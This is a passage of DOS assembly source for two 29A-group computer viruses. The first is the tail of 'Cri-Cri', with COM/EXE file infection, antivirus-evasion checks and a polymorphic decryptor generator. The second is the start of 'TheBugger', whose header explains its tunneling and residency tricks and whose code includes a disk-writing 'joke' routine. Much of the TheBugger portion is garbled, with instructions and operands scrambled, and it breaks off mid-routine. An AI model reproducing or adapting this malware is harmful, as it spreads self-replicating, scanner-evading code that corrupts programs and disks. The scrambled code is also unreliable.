;Move old header into read buffer les di,dword ptr cs:[read_ptr] mov si,offset virus_copy mov cx,0019h-01h mov ax,word ptr cs:[file_offset] add di,ax add si,ax sub cx,ax cld rep movsb exit_read: call get_sft ;Restore file size pop word ptr es:[di+13h] pop word ptr es:[di+11h] ;Restore old offset in file pop word ptr es:[di+17h] pop word ptr es:[di+15h] ;Restore regs and exit call unhook_ints call pop_all stc cmc retf 2 ;---------------------------------------------------------------------------;Infect file at execution ds:dx ptr to filename ;---------------------------------------------------------------------------dos_exec: ;Open file for read-only mov ax,3D00h int 03h jnc ok_file_open jmp file_error ok_file_open: xchg bx,ax jmp short from_open ;---------------------------------------------------------------------------;Infect file at close ;---------------------------------------------------------------------------dos_close: call pop_all call push_all ;Duplicate handle mov ah,45h int 03h jc file_error xchg bx,ax push ax ;Close new handle in order to update directory entry mov ah,3Eh int 03h pop bx from_open: ;Get sft address in es:di call get_sft jc file_error ;Check device info word mov ax,word ptr es:[di+05h] ;Check if character device handle test al,80h jnz file_error ;Check if remote file handle test ah,0Fh
jnz file_error ;Check if file is already infected mov al,byte ptr es:[di+0Dh] mov ah,1Fh and al,ah cmp al,ah je file_error ;Do not infect files with todays date mov al,byte ptr es:[di+0Fh] and al,1Fh cmp al,byte ptr cs:[today] je file_error ;Check file name in sft mov cx,0Bh mov si,di name_loop: ;Do not infect files with numbers in their file name cmp byte ptr es:[si+20h],"0" jb file_name1 cmp byte ptr es:[si+20h],"9" jbe file_error file_name1: ;Do not infect files witch name contains v's cmp byte ptr es:[si+20h],"V" je file_error ;Do not infect files with mo in their name inc si loop name_loop ;Get first pair mov ax,word ptr es:[di+20h] ;Do not infect Thunderbyte antivirus utils cmp ax,"BT" je file_error ;Do not infect McAfee's Scan cmp ax,"CS" je file_error ;Do not infect F-Prot scanner cmp ax,"-F" je file_error ;Do not infect Solomon's Guard cmp ax,"UG" jne file_infection file_error: jmp m21h_exit file_infection: ;Save and set file open mode (read/write) mov cx,0002h xchg cx,word ptr es:[di+02h] push cx ;Save and set file attribute xor al,al xchg al,byte ptr es:[di+04h] push ax test al,04h jnz system_file ;Save and set file pointer position push word ptr es:[di+15h] push word ptr es:[di+17h] call seek_begin ;Read first 20h bytes push cs pop ds mov ah,3Fh
mov cx,0020h mov dx,offset file_buffer int 03h ;Seek to end of file and get file size call seek_end ;Do not infect too small .exe or .com files or dx,dx jnz ok_min_size cmp ax,lenvir+0410h jbe exit_inf ok_min_size: ;Check for .com extension cmp word ptr es:[di+28h],"OC" jne no_com cmp byte ptr es:[di+2Ah],"M" je inf_com no_com: ;Check for .exe mark in file header mov cx,word ptr cs:[file_buffer+00h] ;Add markers M+Z add cl,ch cmp cl,"Z"+"M" jne exit_inf ;Check for .exe extension cmp word ptr es:[di+28h],"XE" jne exit_inf cmp byte ptr es:[di+2Ah],"E" jne exit_inf jmp inf_exe ;---------------------------------------------------------------------------;Exit from file infection ;---------------------------------------------------------------------------exit_inf: ;Restore file pointer position pop word ptr es:[di+17h] pop word ptr es:[di+15h] system_file: ;Restore file attribute pop ax mov byte ptr es:[di+04h],al ;Restore file open mode pop word ptr es:[di+02h] ;Do not set file date/time on closing or byte ptr es:[di+06h],40h ;Check if close function cmp byte ptr cs:[dos_function+01h],(3Eh xor 0FFh) je no_close_file ;Close file mov ah,3Eh int 03h no_close_file: jmp m21h_exit ;---------------------------------------------------------------------------;Infect .COM file ;---------------------------------------------------------------------------inf_com: ;Don't infect too big .com files cmp ax,0FFFFh-(lenvir+10h) jae exit_inf ;Copy header call copy_header ;Get file length as entry point sub ax,03h
;Write a jump to virus into header mov byte ptr cs:[file_buffer+00h],0E9h mov word ptr cs:[file_buffer+01h],ax ;Set .com marker mov byte ptr cs:[prog_type],"C" ;Encrypt and infect jmp get_control ;---------------------------------------------------------------------------;Infect .EXE file ;---------------------------------------------------------------------------inf_exe: ;Don't infect Windows programs cmp word ptr cs:[file_buffer+18h],0040h jae bad_exe ;Don't infect overlays cmp word ptr cs:[file_buffer+1Ah],0000h jne bad_exe ;Check maxmem field cmp word ptr cs:[file_buffer+0Ch],0FFFFh jne bad_exe ;Save file size push ax push dx ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_1 inc ax no_round_1: cmp ax,word ptr cs:[file_buffer+04h] jne no_fit_size cmp dx,word ptr cs:[file_buffer+02h] je header_ok no_fit_size: pop dx pop ax bad_exe: ;Exit if cant infect .exe jmp exit_inf header_ok: call copy_header pop dx pop ax push ax push dx mov cx,10h div cx sub ax,word ptr cs:[file_buffer+08h] ;Store new entry point mov word ptr cs:[file_buffer+14h],dx mov word ptr cs:[file_buffer+16h],ax ;Store new stack position add dx,lenvir+0410h and dx,0FFFEh inc ax mov word ptr cs:[file_buffer+0Eh],ax mov word ptr cs:[file_buffer+10h],dx ;Restore size pop dx pop ax ;Add virus size to file size add ax,lenvir
adc dx,0000h ;Page ends on 0200h boundary mov cx,0200h div cx or dx,dx jz no_round_2 inc ax no_round_2: ;Store new size mov word ptr cs:[file_buffer+04h],ax mov word ptr cs:[file_buffer+02h],dx ;Set .exe marker mov byte ptr cs:[prog_type],"E" ;Encryption an infection continues on next routine ;---------------------------------------------------------------------------;Encryption and physical infection ;---------------------------------------------------------------------------get_control: call do_encrypt ;Write virus body to the end of file mov ah,40h mov cx,lenvir mov dx,offset virus_copy int 03h jc no_good_write ;Seek to beginning of file call seek_begin ;Write new header mov ah,40h mov cx,0019h-01h mov dx,offset file_buffer int 03h ;Mark file as infected or byte ptr es:[di+0Dh],1Fh no_good_write: ;Jump to infection end jmp exit_inf ;---------------------------------------------------------------------------;Encrypt virus body with variable key and generate a ;polymorphic decryptor. ;---------------------------------------------------------------------------do_encrypt: call push_all ;Initialize engine xor ax,ax mov word ptr cs:[last_subroutine],ax mov word ptr cs:[decrypt_sub],ax mov word ptr cs:[last_fill_type],ax dec ax mov word ptr cs:[last_step_type],ax mov byte ptr cs:[last_int_type],al mov byte ptr cs:[decrypt_pointer],al ;Choose counter and pointer register call get_rnd and al,01h mov byte ptr cs:[address_register],al ;Choose register for decryption instructions call get_rnd and al,38h mov byte ptr cs:[decrypt_register],al ;Chose segment registers for memory operations call get_seg_reg mov byte ptr cs:[address_seg_1],al
call get_seg_reg mov byte ptr cs:[address_seg_2],al ;Fill our buffer with garbage mov ax,cs mov ds,ax mov es,ax mov di,offset virus_copy push di mov cx,decryptor cld fill_garbage: call get_rnd stosb loop fill_garbage pop di ;Now es:di points to the buffer were engine put polymorphic code choose_type: ;Select the type of filler mov ax,(end_step_table-step_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_step_type] je choose_type mov word ptr cs:[last_step_type],ax add ax,ax mov bx,ax cld call word ptr cs:[step_table+bx] cmp byte ptr cs:[decrypt_pointer],05h jne choose_type ;Generate some garbage call rnd_garbage ;Generate a jump to virus body mov al,0E9h stosb mov ax,decryptor mov bx,di sub bx,offset virus_copy-02h sub ax,bx stosw ;Store random crypt value get_rnd_key: call get_rnd or al,al jz get_rnd_key xchg bx,ax mov byte ptr cs:[clave_crypt],bl ;Copy virus body to the working area while encrypt mov si,offset virus_body mov di,offset virus_copy+decryptor mov cx,lenvir-decryptor-01h cld load_crypt: lodsb xor al,bl stosb loop load_crypt ;Store key without encryption movsb ;Restore all regs and return to infection routine call pop_all ret ;-----------------------------------------------------------------------------
;Get a valid opcode for memory operations ;----------------------------------------------------------------------------get_seg_reg: cmp byte ptr cs:[prog_type],"C" je use_ds_es mov al,2Eh ret use_ds_es: call get_rnd and al,18h cmp al,10h je get_seg_reg or al,26h ret ;----------------------------------------------------------------------------;Generate next decryptor instruction ;----------------------------------------------------------------------------next_decryptor: ;Next instruction counter inc byte ptr cs:[decrypt_pointer] ;Check if there is a subroutine witch contains next decryptor instruction cmp word ptr cs:[decrypt_sub],0000h je build_now ;If so build a call instruction to that subroutine call do_call_decryptor ret build_now: ;Else get next instruction to build mov bl,byte ptr cs:[decrypt_pointer] ;Generate decryption instructions just into subroutines cmp bl,03h jne entry_from_sub ;No instruction was created so restore old pointer dec byte ptr cs:[decrypt_pointer] ret entry_from_sub: ;Entry point if calling from decryptor subroutine building xor bh,bh add bx,bx ;Build instruction call word ptr cs:[instruction_table+bx] ret ;----------------------------------------------------------------------------;Get delta offset ;----------------------------------------------------------------------------inst_get_delta: ;Decode a call to next instruction and pop bp push di mov ax,00E8h stosw mov ax,5D00h stosw ;Generate some garbage call rnd_garbage ;Decode a sub bp mov ax,0ED81h stosw ;Store address of label pop ax sub ax,offset virus_copy-0103h no_sub_psp: stosw ret
;----------------------------------------------------------------------------;Load counter register ;----------------------------------------------------------------------------inst_load_counter: mov al,0BEh add al,byte ptr cs:[address_register] stosb ;Store size of encrypted data mov ax,lenvir-decryptor-01h stosw ret ;----------------------------------------------------------------------------;Load pointer to encrypted data ;----------------------------------------------------------------------------inst_load_pointer: ;Load di as pointer mov al,0BFh sub al,byte ptr cs:[address_register] stosb ;Store offset position of encrypted data mov ax,offset virus_body stosw ;Generate garbage in some cases call rnd_garbage ;Generate add reg,bp mov ch,byte ptr cs:[address_register] mov cl,03h rol ch,cl mov ax,0FD03h sub ah,ch stosw ret ;----------------------------------------------------------------------------;Decrypt one byte from encrypted data ;----------------------------------------------------------------------------inst_decrypt_one: ;Decode a mov reg,byte ptr cs:[key][bp] mov al,byte ptr cs:[address_seg_1] mov ah,8Ah stosw mov al,byte ptr cs:[decrypt_register] or al,86h stosb ;Store position of encryption key mov ax,offset clave_crypt stosw ;Decode a xor byte ptr cs:[si],reg mov al,byte ptr cs:[address_seg_2] mov ah,30h stosw mov al,byte ptr cs:[decrypt_register] or al,05h sub al,byte ptr cs:[address_register] stosb ret ;----------------------------------------------------------------------------;Increment pointer to encrypted zone ;----------------------------------------------------------------------------inst_inc_pointer: mov al,47h sub al,byte ptr cs:[address_register] stosb ret
;----------------------------------------------------------------------------;Decrement counter and loop ;----------------------------------------------------------------------------inst_dec_loop: ;Decode a dec reg instruction mov al,4Eh add al,byte ptr cs:[address_register] stosb ;Decode a jz mov al,74h stosb push di inc di ;Generate some garbage instructions call rnd_garbage ;Decode a jmp to loop instruction mov al,0E9h stosb mov ax,word ptr cs:[address_loop] sub ax,di dec ax dec ax stosw ;Generate some garbage instructions call rnd_garbage ;Store jz displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------;Generate some garbage instructions if rnd ;----------------------------------------------------------------------------rnd_garbage: call get_rnd and al,01h jz do_rnd_garbage ret do_rnd_garbage: call g_generator ret ;----------------------------------------------------------------------------;Generate a push reg and garbage and pop reg ;----------------------------------------------------------------------------do_push_g_pop: ;Build a random push pop call do_push_pop ;Get pop instruction dec di mov al,byte ptr cs:[di+00h] push ax call g_generator pop ax stosb ret ;----------------------------------------------------------------------------;Generate a subroutine witch contains garbage code. ;----------------------------------------------------------------------------do_subroutine:
cmp word ptr cs:[last_subroutine],0000h je create_routine ret create_routine: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[last_subroutine],di ;Get subroutine address inc di inc di ;Generate some garbage code call g_generator ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------;Generate a subroutine witch contains one decryptor instruction ;----------------------------------------------------------------------------sub_decryptor: cmp word ptr cs:[decrypt_sub],0000h je ok_subroutine ret ok_subroutine: ;Do not generate the loop branch into a subroutine mov bl,byte ptr cs:[decrypt_pointer] inc bl cmp bl,05h jne no_loop_sub ret no_loop_sub: ;Generate a jump instruction mov al,0E9h stosb ;Save address for jump construction push di ;Save address of subroutine mov word ptr cs:[decrypt_sub],di inc di inc di push bx call rnd_garbage pop bx call entry_from_sub call rnd_garbage build_return: ;Insert ret instruction mov al,0C3h stosb ;Store jump displacement
mov ax,di pop di push ax sub ax,di dec ax dec ax stosw pop di ret ;----------------------------------------------------------------------------;Generate a call instruction to a subroutine witch contains ;next decryptor instruction ;----------------------------------------------------------------------------do_call_decryptor: cmp byte ptr cs:[decrypt_pointer],03h jne no_store_call ;Save position mov word ptr cs:[address_loop],di no_store_call: ;Build a call to our subroutine mov al,0E8h stosb mov ax,word ptr cs:[decrypt_sub] sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[decrypt_sub],0000h ret ;----------------------------------------------------------------------------;Generate a call instruction to a subroutine witch some garbage code ;----------------------------------------------------------------------------do_call_garbage: mov cx,word ptr cs:[last_subroutine] ;Check if there is a subroutine to call or cx,cx jnz ok_call ;No, so exit ret ok_call: ;Build a call to our garbage subroutine mov al,0E8h stosb mov ax,cx sub ax,di stosw ;Do not use this subrotine again mov word ptr cs:[last_subroutine],0000h ret ;----------------------------------------------------------------------------;Generate a branch followed by some garbage code ;----------------------------------------------------------------------------do_branch: ;Generate a random conditional jump instruction call get_rnd and al,07h or al,70h stosb ;Save address for jump construction push di ;Get subroutine address inc di ;Generate some garbage code call g_generator
;Store jump displacement mov ax,di pop di push ax sub ax,di dec ax stosb pop di ret ;----------------------------------------------------------------------------;Lay down between 2 and 5 filler opcodes selected from the available ;types ;----------------------------------------------------------------------------g_generator: ;Get a random number for fill count call get_rnd and ax,03h ;Min 2, max 5 opcodes inc ax inc ax next_fill: push ax new_fill: ;Select the type of filler mov ax,(end_op_table-op_table)/2 call rand_in_range ;Avoid same types in a row cmp ax,word ptr cs:[last_fill_type] je new_fill mov word ptr cs:[last_fill_type],ax add ax,ax mov bx,ax call word ptr cs:[op_table+bx] pop ax dec ax jnz next_fill ret ;----------------------------------------------------------------------------;Makes an opcode of type mov reg,immediate value ;either 8 or 16 bit value ;but never ax or al or sp,di,si or bp ;----------------------------------------------------------------------------move_imm: call get_rnd ;Get a reggie and al,0Fh ;Make it a mov reg, or al,0B0h test al,00001000b jz is_8bit_mov ;Make it ax,bx cx or dx and al,11111011b mov ah,al and ah,03h ;Not ax or al jz move_imm stosb call rand_16 stosw ret is_8bit_mov: mov bh,al ;Is al?
and bh,07h ;Yeah bomb jz move_imm stosb call get_rnd stosb ret ;----------------------------------------------------------------------------;Now we knock boots with mov reg,reg's ;but never to al or ax. ;----------------------------------------------------------------------------move_with_reg: call rand_16 ;Preserve reggies and 8/16 bit and ax,0011111100000001b ;Or it with addr mode and make it mov or ax,1100000010001010b reg_test: test al,1 jz is_8bit_move_with_reg ;Make source and dest = ax,bx,cx,dx and ah,11011011b is_8bit_move_with_reg: mov bl,ah and bl,00111000b ;No mov ax, 's please jz move_with_reg ;Let's see if 2 reggies are same reggies. mov bh,ah sal bh,1 sal bh,1 sal bh,1 and bh,00111000b ;Check if reg,reg are same cmp bh,bl jz move_with_reg stosw ret ;----------------------------------------------------------------------------;Modify a mov reg,reg into an xchg reg,reg ;----------------------------------------------------------------------------reg_exchange: ;Make a mov reg,reg call move_with_reg ;But then remove it dec di ;And take advantage of the fact the opcode is still in ax dec di ;Was a 16 bit type? test al,1b ;Yeah go for an 8 bitter jnz reg_exchange mov bh,ah ;Is one of reggies ax? and bh,07h ;Yah so bomb jz reg_exchange ;Else make it xchg ah,dl etc... mov al,10000110b stosw ret ;----------------------------------------------------------------------------;We don't have to watch our stack if we pair up pushes with pops
;so I slapped together this peice of shoddy work to add em. ;----------------------------------------------------------------------------do_push_pop: mov ax,(end_bytes_2-bytes_2)/2 call rand_in_range add ax,ax mov bx,ax ;Generate push and pop instruction mov ax,word ptr cs:[bytes_2+bx] stosw ret ;----------------------------------------------------------------------------;Generate a random int 21h call. ;----------------------------------------------------------------------------do_int_21h: ;Do not generate int 21h calls into boot sectore decryptor cmp byte ptr cs:[prog_type],"B" je no_generate_int ;Do not generate int 21h calls into decryption loop cmp byte ptr cs:[decrypt_pointer],02h jb no_in_loop no_generate_int: ret no_in_loop: call get_rnd ;Choose within ah,function or ax,function+subfunction and al,01h jz do_int_ax do_int_ah: mov ax,end_ah_table-ah_table call rand_in_range mov bx,ax mov ah,byte ptr cs:[ah_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ah ;Generate mov ah,function mov byte ptr cs:[last_int_type],ah mov al,0B4h stosw ;Generate int 21h mov ax,021CDh stosw ret do_int_ax: mov ax,(end_ax_table-ax_table)/2 call rand_in_range add ax,ax mov bx,ax mov ax,word ptr cs:[ax_table+bx] ;Do not generate same int's in a row cmp ah,byte ptr cs:[last_int_type] jz do_int_ax mov byte ptr cs:[last_int_type],ah ;Generate mov ax,function mov byte ptr es:[di+00h],0B8h inc di stosw ;Generate int 21h mov ax,021CDh stosw ret ;-----------------------------------------------------------------------------
;Simple timer based random numbers but with a twist using xor of last one. ;----------------------------------------------------------------------------get_rnd: in ax,40h xor ax, 0FFFFh org $-2 Randomize dw 0000h mov [Randomize],ax ret ;----------------------------------------------------------------------------;A small variation to compensate for lack of randomocity in the ;high byte of 16 bit result returned by get_rnd. ;----------------------------------------------------------------------------rand_16: call get_rnd mov bl,al call get_rnd mov ah,bl ret ;----------------------------------------------------------------------------;Generate a random number betwin 0 and ax. ;----------------------------------------------------------------------------rand_in_range: ;Returns a random num between 0 and entry ax push bx push dx xchg ax,bx call get_rnd xor dx,dx div bx ;Remainder in dx xchg ax,dx pop dx pop bx ret ;---------------------------------------------------------------------------;Return the al vector in es:bx ;---------------------------------------------------------------------------get_int: push ax xor ah,ah rol ax,1 rol ax,1 xchg bx,ax xor ax,ax mov es,ax les bx,dword ptr es:[bx+00h] pop ax ret ;---------------------------------------------------------------------------;Set al interrupt vector to ds:dx pointer ;---------------------------------------------------------------------------set_int: push ax push bx push ds cli xor ah,ah rol ax,1 rol ax,1 xchg ax,bx push ds xor ax,ax
mov ds,ax mov word ptr ds:[bx+00h],dx pop word ptr ds:[bx+02h] sti pop ds pop bx pop ax ret ;---------------------------------------------------------------------------;Print message to screen ;---------------------------------------------------------------------------print_credits: ;Set VGA video mode 03h push bp mov ax,0003h int 10h ;Print string mov ax,1301h mov bx,0002h mov cx,003Ah mov dx,0A0Bh push cs pop es pop bp add bp,offset text_birthday int 10h exit_print: ;Infinite loop jmp exit_print ;---------------------------------------------------------------------------;Get sft address in es:di ;---------------------------------------------------------------------------get_sft: ;File handle in bx push bx ;Get job file table entry to es:di mov ax,1220h int 2Fh jc error_sft ;Exit if handle not opened xor bx,bx mov bl,byte ptr es:[di+00h] cmp bl,0FFh je error_sft ;Get address of sft entry number bx to es:di mov ax,1216h int 2Fh jc error_sft pop bx stc cmc ret ;Exit with error error_sft: pop bx stc ret ;---------------------------------------------------------------------------;Seek to end of file ;---------------------------------------------------------------------------seek_end: call get_sft mov ax,word ptr es:[di+11h]
mov dx,word ptr es:[di+13h] mov word ptr es:[di+17h],dx mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------;Seek to beginning ;---------------------------------------------------------------------------seek_begin: call get_sft xor ax,ax mov word ptr es:[di+17h],ax mov word ptr es:[di+15h],ax ret ;---------------------------------------------------------------------------;Virus CRITICAL ERROR interrupt handler ;---------------------------------------------------------------------------my_int24h: sti ;Return error in function mov al,3 iret ;---------------------------------------------------------------------------;Save all registers in the stack ;---------------------------------------------------------------------------push_all: cli pop cs:[ret_off] pushf push ax push bx push cx push dx push bp push si push di push es push ds push cs:[ret_off] sti ret ;---------------------------------------------------------------------------;Restore all registers from the stack ;---------------------------------------------------------------------------pop_all: cli pop cs:[ret_off] pop ds pop es pop di pop si pop bp pop dx pop cx pop bx pop ax popf push cs:[ret_off] sti ret ;---------------------------------------------------------------------------;Clear some registers before returning to host ;---------------------------------------------------------------------------zero_all:
xor ax,ax xor bx,bx xor cx,cx xor dx,dx xor di,di xor si,si xor bp,bp ret ;---------------------------------------------------------------------------;Unhook int 03h and int 24h and clear dos infection switch ;---------------------------------------------------------------------------unhook_ints: push ds push dx push ax mov byte ptr cs:[running_sw],"R" lds dx,dword ptr cs:[old03h] mov al,03h call set_int lds dx,dword ptr cs:[old24h] mov al,24h call set_int pop ax pop dx pop ds ret ;---------------------------------------------------------------------------;Get position of code inserted into boot sector ;---------------------------------------------------------------------------get_position: mov ah,0 mov al,byte ptr es:[bx+01h] inc ax inc ax mov di,bx add di,ax ret ;---------------------------------------------------------------------------;Make a copy of file header ;---------------------------------------------------------------------------copy_header: ;Copy header to buffer call push_all push cs pop es mov si,offset file_buffer mov di,offset old_header mov cx,0019h cld rep movsb call pop_all ret ;---------------------------------------------------------------------------;Polymorphic generator data buffer ;---------------------------------------------------------------------------ah_table: ;This table contains the int 21h garbage functions db 00Bh ;Read entry state db 019h ;Get current drive db 02Ah ;Get current date db 02Ch ;Get current time db 030h ;Get dos version number db 062h ;Get psp address
end_ah_table: ax_table: dw 3300h ;Get break-flag dw 3700h ;Get line-command separator dw 5800h ;Get mem concept dw 5802h ;Get umb insert dw 6501h ;Get code-page end_ax_table: ;Push and pop pairs bytes_2: push ax pop dx push ax pop bx push ax pop cx push bx pop dx push bx pop cx push cx pop bx push cx pop dx end_bytes_2: ;Steps table step_table: dw offset do_subroutine dw offset do_call_garbage dw offset g_generator dw offset do_branch dw offset sub_decryptor dw offset next_decryptor dw offset do_push_g_pop end_step_table: instruction_table: dw offset inst_get_delta dw offset inst_load_counter dw offset inst_load_pointer dw offset inst_decrypt_one dw offset inst_inc_pointer dw offset inst_dec_loop end_inst_table: ;Address of every op-code generator op_table: dw offset move_with_reg dw offset move_imm dw offset reg_exchange dw offset do_push_pop dw do_int_21h end_op_table: ;Misc data last_fill_type dw 0 last_int_type db 0 last_step_type dw 0000h last_subroutine dw 0000h decrypt_sub dw 0000h address_loop dw 0000h decrypt_pointer db 00h address_register db 00h decrypt_register db 00h address_seg_1 db 00h address_seg_2 db 00h
;---------------------------------------------------------------------------;Virus data buffer ;---------------------------------------------------------------------------old21h equ this dword old21h_off dw 0000h old21h_seg dw 0000h org21h equ this dword org21h_off dw 0000h org21h_seg dw 0000h old13h equ this dword old13h_off dw 0000h old13h_seg dw 0000h old24h equ this dword old24h_off dw 0000h old24h_seg dw 0000h old03h equ this dword old03h_off dw 0000h old03h_seg dw 0000h read_ptr equ this dword read_off dw 0000h read_seg dw 0000h dos_flag db 00h prog_type db "C" running_sw db "R" stealth_sw db 00h dos_function dw 0000h ret_off dw 0000h today db 00h file_offset dw 0000h ;---------------------------------------------------------------------------text_birthday db "Cri-Cri ViRuS by Griyo/29A" db " ...Tried, tested, not approved." ;---------------------------------------------------------------------------file_buffer db 19h dup (00h) old_header db 19h dup (00h) clave_crypt db 00h ;---------------------------------------------------------------------------;Buffer for working area virus_copy db 00h ;---------------------------------------------------------------------------com ends end virus_entry
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± ±±± ;±±± ðððððð ðð ðð ððððð ðððð ðð ðð ððððð ððððð ððððð ððððð ±±± ;±±± ðð ððððð ðð= ð==ð ðð ðð ðð ðð ðð= ðð ð ±±± ;±±± ðð ðð ðð ðð ð ð ðð ðð ðð ðð ðð ðð ðð ðððð ±±± ;±±± ðð ðð ðð ððððð ððððð ððððð ððððð ððððð ððððð ðð ð VIRUS. ±±± ;±±± ±±± ;±±± ¯¯¯ A 29A Research Code by The Slug. ®®® ±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± ;±±± TheBugger is a simple COM infector with some interesting ±±± ;±±± inprovements. ±±± ;±±± ±±± ;±±± Its first difference with a normal COM virus is the tricky resident ±±± ;±±± check; it's designed to avoid lamers writing the typical resident ±±± ;±±± program wich returns the residency code and forces the virus to not ±±± ;±±± install in memory. To avoid that, the virus makes an extra check of ±±± ;±±± a random byte in the memory copy; if the check fails, it jumps to a ±±± ;±±± simulated HD formatting routine }:). ±±± ;±±± ±±± ;±±± Another interesting feature is the tunneling routine. It uses the ±±± ;±±± common code trace method but it starts tracing from PSP call to int ±±± ;±±± 21h instead of doing it from normal int 21h vector in order to avoid ±±± ;±±± resident antivirus stopping trace mode. This call is supported for ±±± ;±±± compatibility with older DOS versions and it has some little ±±± ;±±± diferences with the normal int 21 handler: first, the function code ±±± ;±±± is passed in cl register (not in ah as usual) and second, the ±±± ;±±± function to call can't be higher than 24h. These diferences are ±±± ;±±± handled by the O.S. in a separated routine and then it jumps to the ±±± ;±±± original int 21h handler, so the tunneling routine only skips the ±±± ;±±± first 'compatibility' routines and gets the real int 21h address €:).±±± ;±±± ±±± ;±±± The last big feature, is the infection method; the virus infects COM ±±± ;±±± files by changing a call in host code to point to it. This call may ±±± ;±±± be one between the second and fifth. This is done by intercepting ±±± ;±±± the int 21h service 4bh (exec), when a COM file is executed, the vi- ±±± ;±±± rus changes its first word with an int CDh call, it intercepts this ±±± ;±±± int and jumps to the int 21h. When the host starts running, it exe- ±±± ;±±± cutes the int CDh and then the virus takes control; it restores host ±±± ;±±± first word and changes int 01h to trace host in order to find a call ±±± ;±±± to infect }:) The use of int CDh can be avoided by tracing int 21h ±±± ;±±± until host code, but this way we have the same problem of resident ±±± ;±±± antivirus. ±±± ;±±± ±±± ;±±± And that's all folks :), enjoy it. ±±± ;±±± ±±± ;±±± 9 CAN ±±± ;±±± The Slug/29A };){|0D==8±±± ;±±± I Love This Job. 3---ë-----±±± ;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± .286 code segment 'TheBugger' assume cs:code,ds:code,ss:code org 0h virsize
equ (virend-start)+1
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Main C0de ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± start:
push cs db 68h retonno dw 0000
;address t0 return t0 h0st. ;push '0ffset'.
push ds es pusha
sig:
call sig pop si sub si, offset(sig)
;get nasty delta 0ffset.
mov int cmp jne jmp
ax, 0B0B0h 21h ax, 0BABAh instal lstchk
;resident check.
ah, 62h 21h bx,ax ax ds,ax
;get PSP segment.
byte ptr ds:[0],'Z' chgmcb aprog
;is the last MCB?
instal: mov int xchg dec mov cmp je jmp chgmcb: sub sub add inc
word ptr ds:[3],(virsize/10h)+8 ;change bl0ck size in MCB word ptr ds:[12h],(virsize/10h)+8 ;& in PSP. ax,ds:[3] ax
cld mov es, ax xor di, di push cs pop ds mov cx, virsize rep movsb push es push offset(newcpy) retf newcpy: mov si, 06h lea di, PSPcall+1 movsw movsw mov ds, cx mov si,21h*4 lea di,int21+1 movsw movsw mov mov
;copy to new l0cati0n.
;jump t0 c0py.
;m0ve call t0 int 21, ;fr0m PSP t0 c0py 0f virus.
;save curent int 21h vect0r. ;) cx=0
word ptr ds:[01h*4], offset(tunn) ;hang tunneling code :) word ptr ds:[01h*4]+2, es
pushf pop ax or ah, 01h push ax mov cl, 0Bh popf call PSPcall mov
;get MCB addres.
;call int 21h fr0m PSP in trace m0de.
;get input status function (in cl ;).
word ptr [si-4], offset(hdl21)
;hang new int 21h handler.
mov aprog:
word ptr [si-2], es
popa pop es ds retf
lstchk: in ax, and ax, push si add si, mov di, cmpsw pop si je aprog
40h 0200h
;return t0 h0st.
;check rand0m w0rd of mem0ry c0py.
ax ax
buuuhh: push pop lea add mov int
cs ds dx, joke dx, si ah,09h 21h
;display funny message :)
mov mov mov int loop
dx,0180h cx,07FFh ax,0401h 13h funny
;I think it's clear enought };).
funny:
;±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± Data ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± credits db intCD: int PSPcall: db dd joke db
'TheBugger virus by The Slug/29A' 0CDh ;int t0 detect h0st execution. 9Ah 0 ;PSP call t0 int21h ;) 'Removing virus from memory...',13,10,'$'
;±±±±±±±±±±±±±±±±±±±±±±±±±±±± Int 21h Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±±±±±± hdl21:
cmp jne mov push pop iret
ax, 0B0B0h func2 ax,0BABAh cs es
;resident service?
func2:
cmp je
ax, 4B00h exec
;exec service?
int21:
db dd
0EAh 0
;jmp t0 int 21h.
exec:
push ds es pusha pushf
next:
mov si, dx push cs pop es lea di, path lodsb stosb cmp al, 0 jne next
;return virus segment in es ;f0r extra check.
;c0py filespec.
sub si, 4 lodsw xor ax, 2020h cmp ax, 'oc' jne nocom
;is a .c0m file?
call chgattr
;change file attributes.
mov ax, 3D02h int 03h xchg bx, ax
;0pen file.
call getdate
;get file time & date.
lea dx, firstb mov cx, 3 mov ah, 3Fh int 03h
;read first 3 bytes 0f file ;t0 exe check & h0st detect rutine.
cmp je
word ptr cs:firstb, 'ZM' exit
;is an exe file (MZ sign)?
xor mov cwd int
cx, cx ax, 4200h
;g0 t0 file start again.
lea mov mov int
dx, intCD cx, 2 ah, 40h 03h
xor mov mov mov mov mov mov mov
ax, ax ;change int CDh vect0r es, ax ;f0r h0st detection. ax, es:[0CDh*4] intcddes, ax ax, es:[0CDh*4]+2 intcdseg, ax es:[0CDh*4], offset(fndhst) es:[0CDh*4]+2, cs
exit:
mov int
ah, 3Eh 03h
nocom:
popf popa pop es ds jmp int21
;dx <- 0 ;) 03h ;write 'int CDh' c0de 0n file start ;t0 detect h0st execution.
;cl0se file.
;±±±±±±±±±±±±±±±±±±±±±±±±±±± First Int 01 Handler ±±±±±±±±±±±±±±±±±±±±±±±±±±± tunn:
push ds es bp pusha
;trace int 21 f0r tunneling.
call getret
;get next instructi0n address in es:di.
cmp jne cmp je
;is an 'cmp ax, ??'
es:[di], 0FC80h fuera byte ptr es:[di+2], 24h fuera
;avoid 'cmp ax, 24h'
stop:
xor mov mov mov
bx, bx es, bx es:[03h*4], di es:[03h*4]+2, ax
